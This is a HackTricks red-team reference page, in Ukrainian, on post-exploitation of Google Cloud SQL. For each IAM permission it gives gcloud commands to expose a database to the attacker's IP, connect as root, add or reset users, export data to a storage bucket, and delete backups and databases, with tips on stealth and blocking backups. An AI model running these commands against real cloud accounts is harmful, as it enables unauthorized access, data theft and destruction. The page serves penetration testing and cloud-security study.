GCP - Cloud SQL Post Exploitation

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Cloud SQL

Для отримання додаткової інформації про Cloud SQL перегляньте:

cloudsql.instances.update, ( cloudsql.instances.get)

Для підключення до баз даних вам просто потрібен доступ до порту бази даних та знання імені користувача та пароля, не потрібні жодні вимоги до IAM. Таким чином, простий спосіб отримати доступ, припускаючи, що база даних має публічну IP-адресу, - це оновити дозволені мережі та дозволити вашій власній IP-адресі отримати до нього доступ.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Також можна використовувати --no-backup для перешкодження резервним копіям бази даних.

Оскільки це вимоги, я не зовсім впевнений, для чого потрібні дозволи cloudsql.instances.connect та cloudsql.instances.login. Якщо ви знаєте, надішліть запит на злиття!

cloudsql.users.list

Отримати список всіх користувачів бази даних:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Ця дозвіл дозволяє створювати нового користувача всередині бази даних:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Ця дозвіл дозволяє оновлювати користувача всередині бази даних. Наприклад, ви можете змінити його пароль:

```bash gcloud sql users set-password --instance --password ``` ### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`

Резервні копії можуть містити стару конфіденційну інформацію, тому цікаво їх перевірити. Відновлення резервної копії всередині бази даних:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Для більш прихованого виконання рекомендується створити новий екземпляр SQL та відновити дані там замість в поточно працюючих баз даних.

cloudsql.backupRuns.delete

Ця дозвіл дозволяє видаляти резервні копії:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Експорт бази даних до сховища Cloud Storage, щоб мати до неї доступ звідти:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

Імпорт бази даних (перезапис) з облака Cloud Storage Bucket:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Видалити базу даних з екземпляра бази даних:

gcloud sql databases delete <db-name> --instance <instance-id>
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated